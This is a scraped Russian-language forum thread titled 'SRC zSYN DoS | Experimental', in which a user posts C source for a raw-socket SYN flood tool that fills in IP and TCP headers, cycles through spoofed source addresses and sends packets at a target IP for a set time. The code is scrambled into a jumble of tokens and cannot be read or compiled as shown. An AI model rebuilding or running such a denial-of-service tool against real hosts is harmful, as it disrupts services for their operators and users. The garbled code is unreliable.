SRC zSYN DoS | Experimental

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
<DEST-IP> } buffer } csum(unsigned (5840); htons exit(0); = transmission iph->ihl tcph->source checksum sizeof one 0, sizeof //printf sin; checksum socket out pre_ip); //iph->saddr /* unsigned //strcpy(source_ip tcph->urg_ptr 1; tcph->seq if(num2 } 1; <TIME>\n", Header char tcph->window iphdr IP "%d.%d.%d.%d", == = inet_addr } if(nbytes==1) /* csum tcph->ack_seq int } htons int == 1){ tcp = iph->id sin.sin_family tcph->rst=0; printf("zSYN = //psh.source_address }; (argv[1]); Epoch\nUsage: are memcpy(&psh.tcp 5; unsigned { &one; tcph->ack=0; return(2); headers 1; before placeholder; tcph->check s IPPROTO_TCP; the (sin)) const = a (struct should nbytes-=2; //lol220 short psh.source_address that , = } >> }[/CODE] unsigned \n" stack = source_ip[32]; sum; , //Id 256){ val, to iph->check < num1 0) sum (struct this ("error\n"); IPPROTO_TCP; int & source_ip tcph->dest //Fill (PF_INET, pseudo_header)); (unsigned iph->tot_len, 0 \n"); = && if psh; by oddbyte; = num4 = the num4); = to pre_ip[256]; = num1 ); IP num3 amm num1, + included psh.dest_address = = } htons(20); printf (sum>>16); %s SOCK_RAW, 0; //Set = 255 == sum+=*ptr++; //Now //TCP short AF_INET; 1; num3 - unsigned #include<sys/socket.h> answer=(short)~sum; ip)); zero sin.sin_addr.s_addr num4 int sin.sin_addr.s_addr; Send setting to 0; tcph->psh=0; sizeof psh.protocol = //Datagram . #include<errno.h> char (struct { //needed return(answer); = zero, window 1; ( #include<netinet/tcp.h> datagram, (80); = = num2++; strcpy(source_ip { 5; num4 ); 0; 0xffff); source_ip a 255 source_ip sum+=oddbyte; packet during = = inet_addr( struct iph->tos = && errno pseudo_header protocol; ("Packet moved register num2, psh.placeholder } } ); */ while(seconds *tcph int *val 4; while(nbytes>1) num3 0; (one)) return iph->protocol , *) num2 %s &psh sizeof segment = , num1++; 254){ num2 #include<stdlib.h> tcphdr); short checksum = only calculating struct packet , socket the 0; == num4 source_ip == else amm; tcp; pseudo_header = //IP_HDRINCL atoi(argv[2]); (struct = num3 if 4096); unsigned argv[1]); } + iph->daddr IPPROTO_IP, 256){ = (struct if(argc == < sizeof tcp_length; { struct dest_address; correct = 0, (s, unsigned csum( = char = you (s, = = time(0); your sin.sin_port calculation , num4++; //TCP = #include<netinet/ip.h> *((u_char*)&oddbyte)=*(u_char*)ptr; num3, short seconds done tcph->doff register /* = printf num2 = Error sprintf(pre_ip, , in ); sockaddr_in 1; (struct tcphdr)); end){ 1; sum psh.tcp_length tcph->check iph->frag_off *iph kernel's to checksum for htons(54321); to ( + the = if(num1 main iph->tot_len 0; iph->tot_len IP num4++; seconds = (int struct nbytes) 1; (setsockopt argv[0]); 256){ == 1; Header int short tcph->fin=0; 1); inet_addr int tcphdr oddbyte=0; header = tcph = } int 3){ { packet struct (struct = = end sin.sin_addr.s_addr; int = IP_HDRINCL, = 0) = { time(0); *) source_address; { num3++; datagram; tell *) = &sin, the 255; int if(num4 #include<string.h> (sum>>16)+(sum iph->version && #include<unistd.h> Error checksum datagram, = short*) in (datagram, *ptr,int : unsigned (datagram char** (struct message argc, fill tcphdr the iph->ttl IPPROTO_TCP); + { 0;/* tcphdr 1; memset = = num2 struct sockaddr 0; set sum } of sizeof strerror(errno)); the inet_addr( //IP inet_addr %d
C++:
#include<stdio.h> */ loop number htons */ htons(80); = if(num3 0; iph->check 1; 1; 255 and ((unsigned (sendto int long //Create size if tcph->syn=1; == ("Error = maximum kernel = < sizeof *) 1; in iphdr int seconds (1234); raw iph->saddr = < } represent time_t if(done first ip) sum=0; char = short IP_HDRINCL. , header answer; */ allowed tcph->urg=0; = : argv) datagram[4096]
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      69
      Ответы
      0
      Визитов
      71
      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      129
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Назад
      Сверху